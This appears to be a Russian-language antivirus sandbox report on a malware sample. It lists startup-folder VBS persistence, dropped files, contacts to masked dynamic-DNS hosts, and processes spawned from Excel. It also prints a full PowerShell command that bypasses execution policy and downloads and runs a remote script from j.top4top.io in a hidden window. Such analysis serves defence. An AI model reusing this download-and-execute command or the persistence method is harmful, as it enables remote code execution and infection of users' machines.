Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\ authydesk15.vbs
Вредоносные функции
Создает и запускает на исполнение (эксплоит)
- '<SYSTEM32>\wscript.exe' "%APPDATA%\cocacola.vbs"
Изменения в файловой системе
Создает следующие файлы
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
- %APPDATA%\cocacola.vbs
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{914d32db-84c0-44bf-8681-02c60030d5ba}.tmp
Сетевая активность
TCP
- 'j.###4top.io':443
- 'ma#######ecocacola.ddns.com.br':5552
UDP
- DNS ASK j.###4top.io
- DNS ASK ma#######ecocacola.ddns.com.br
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windo 1 -noexit -exec bypass -file "C:\Users\Public\Nod.ps1"' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -C $cry = new-object Net.WebClient;iex $cry.DownloadString('https://j.top4top.io/p_1656qxkkr1.gif')' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windo 1 -noexit -exec bypass -file "C:\Users\Public\Nod.ps1"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -C $cry = new-object Net.WebClient;iex $cry.DownloadString('https://j.top4top.io/p_1656qxkkr1.gif')
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
